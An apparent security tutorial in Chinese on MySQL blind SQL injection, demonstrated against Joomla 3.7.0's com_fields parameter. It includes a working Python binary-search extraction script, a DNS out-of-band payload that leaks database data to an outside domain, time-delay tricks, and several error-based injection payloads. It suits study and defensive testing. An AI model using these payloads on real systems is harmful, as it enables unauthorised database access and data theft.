freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

浅谈SQL盲注测试方法解析与技巧
2018-06-28 08:30:13

*本文作者:KarmA@D0g3,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文所有实战盲注例子,均来自Joomla! 3.7.0 - 'com_fields' SQL Injection。

由于篇幅有限,本文就不去剖析漏洞原理,直接告知payload插入点,来展现盲注的用法(如有需要可自行寻找各方大佬的研究文章)。

注入点:

http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]

BooleanBase

二分法

优点:

比遍历穷举快

缺点:

容易被封ip

速度慢

原理解析

1.jpg

常用函数:

left(x,y) // 从x的最左侧开始截取前y位

ascii(substr((sql),1,1))=num // 从sql语句返回的字符串的第一位开始,截取字符串的一长度,将其转换成ascii编码,然后与num比较

ord(mid((sql),1,1))=num // ord()==ascii()

regexp '^[a-z]' // 在某些情况下,用正则表达式还是很方便的!

最后只需要将手工测试的过程转换成python用代码自动化实现

实战

直接上代码吧

# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i <= 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print('\n')
    print(flag)
    print('Testing... ' + str(left) + ' ' + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else: 
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if ('安全令牌无效') in response.text:
            left = mid + 1
            print('left:'+str(left))
        # 左半部
        else: 
            right = mid
            print('right:'+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
            poc = url + payload
            print(poc)
            response = requests.get(poc,cookies=cookies,timeout=2)
            if ('安全令牌无效') in response.text:
                flag = flag + string[right]
                print(flag)
                break
            else: 
                flag = flag + string[left]
                print(flag)
                break
    i += 1
print(flag)

1222.png

DNSLOG

优点:

简单,不需要像二分法一样繁琐地一个个遍历

快速(相对于二分法而言)

缺点:

局限于Windows环境下(UNC路径)

Mysql版本>=5.5.53就要检查Secure_file_priv这个全局变量是否为空(若为NULL,则不可用,详见

原理解析

找了国外的paper研究了一波,不懂的就来一波疯狂乱查,然后拿个小本本记下来~~

虽然大概明白是个什么意思,但是计网的dns知识(明年这个时候才学),我。。。有点晕~

然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图,如有不对,感谢各位大佬指正:

3.jpg

UNC路径:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。(转自百度)

所以payload里面的四个'\\\\'和两个'\\\'经过转义后再通过concat函数拼接,就形成了\\test.karmaof.me\123的UNC路径。

payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.karmaof.me\\123'))),1,1)--+

一开始自己搭建测试环境的时候遇到各种玄学问题……

如何查看mysql是否开启了文件导入导出?
mysql>show global variables like '%secure%';
如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。
如何修改secure_file_priv?
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv,为空,则已经设置好了。

实战

源码的$query里面带了一层mysqli的escape函数对单双引号等字符进行转义,所以对于dnslog的复现不是很有利,所以我就把过滤去掉了。

但是实践的时候又发现了问题:

查询是正常的,但是,并没有解析到dns记录

4.jpg

然后就做了个愚蠢的试验:

5.jpg

配合报错注入里面的查询,却可以解析到dns记录

6.jpg

后来看到作者用sqlmap跑的payload(DUAL表是一张虚拟表),发现用了一波case when,然后一样可以得到dns记录

7.jpg

8.jpg

但是这里有个疑问就是,尽管后面的句子不会执行,但是else后面的语句一定要加union查询,不加的话,是截获不了dns记录的。

估计审一波代码就可以知道为什么了  。◕‿◕。

所以就去搜了一波 CASE WHEN 然后发现它又是一个功能比较强大的东东:)

# 官方定义:
CASE expression
    WHEN condition1 THEN result1
    WHEN condition2 THEN result2
   ...
    WHEN conditionN THEN resultN
    ELSE result
END
# 总结来说:case when 有两种用法,类似于C语言的 swicth case
# 简单判断版
mysql> select * from users;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | admin  |
|  2 | KarmA    | KarmA  |
+----+----------+--------+
mysql> select
    ->  ( case when users.id = 1 then users.username
    ->          when users.id = 2 then users.username
    ->  else 0 end) as username2 from users;
+-----------+
| username2 |
+-----------+
| admin     |
| KarmA     |
+-----------+
# 搜索版
# when 后面可以接任意判断表达式,then 后面就是true的时候执行的语句
mysql> select * from users;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | admin  |
|  2 | KarmA    | KarmA  |
+----+----------+--------+
mysql> select
    ->  ( case when users.id = 1 then users.username
    ->          when users.id = 2 then users.username
    ->  else 0
    ->  end) as username2 from users;
+-----------+
| username2 |
+-----------+
| admin     |
| KarmA     |
+-----------+

参考资料

OBB注入

DNSLOG利用

笔记: Data Retrieval over DNS in SQL Injection Attacks

TimeBase

前段时间看到do9gy@长亭科技大佬发的一篇文章,就赶紧学一波新型盲注技巧

sleep()

mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

benchmark()

mysql> select benchmark(1000000,sha(1));
+---------------------------+
| benchmark(1000000,sha(1)) |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.39 sec)

不推荐使用

笛卡尔积

(这是一个线代的概念??我怎么好像没有印象了……)

百度一波:

笛卡尔乘积是指在数学中,两个集合X和Y的卡尓(Cartesian product),又称直,表示为X × Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员 。

为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别:

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*)  |
+-----------+
| 337801632 |
+-----------+
1 row in set (6.19 sec)

get_lock()

这个只演示原理吧,虽然延时精准,但是利用条件也很苛刻~~(需要使用 mysql_pconnect函数来连接数据库)

session 1

mysql> select get_lock('karma',1);
+---------------------+
| get_lock('karma',1) |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.00 sec)

session 2

mysql> select get_lock('karma',10);
+----------------------+
| get_lock('karma',10) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (10.00 sec)

参考资料

MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

ErrorBase

floor()+count()+group by

(万能)

payload:http://localhost/sqli/less-5/
?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

exp()

payload:http://localhost/sqli/less-1/
?id=1' and exp(~(select * from (select database() ) a) );--+

bigint

(Mysql Version >=5.4.45)

payload:http://localhost/sqli/less-1/
?id=1' and !(select*from(select user())x)-~0-- -

extractvalue()

(Mysql Version >=5.1.5)

与updatexml类似

updatexml()

(Mysql Version >=5.1.5)

updatexml最多只能显示32位,超过长度可以配合substr()

UpdateXML(xml_target, xpath_expr, new_xml)

第一个参数是含xml文档格式的字符串

第二个参数是xpath表达式,我们就是在这个参数上作文章:)

第三个是需要替换成的xptah表达式

9.jpg

payload:http://localhost/sqli/less-1/
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

name_const()

NAME_CONST(name,value)

生成名为name的列,并把value赋值过去,如果存在

10.jpg

payload:http://localhost/sqli/less-1/
?id=1' union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;--+

重点标注的x可以换成其他字母,但是不能不填以及填数字。Every derived table must have its own alias不填会报错table需要别名。后来本地测试了一下:

11.jpg

12.jpg

就明白为什么了!

参考资料

Error Based SQL Injection Using EXP

BIGINT Overflow Error Based SQL Injection

* 本文作者:KarmA@D0g3,本文属FreeBuf原创奖励计划,未经许可禁止转载

# sql盲注
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者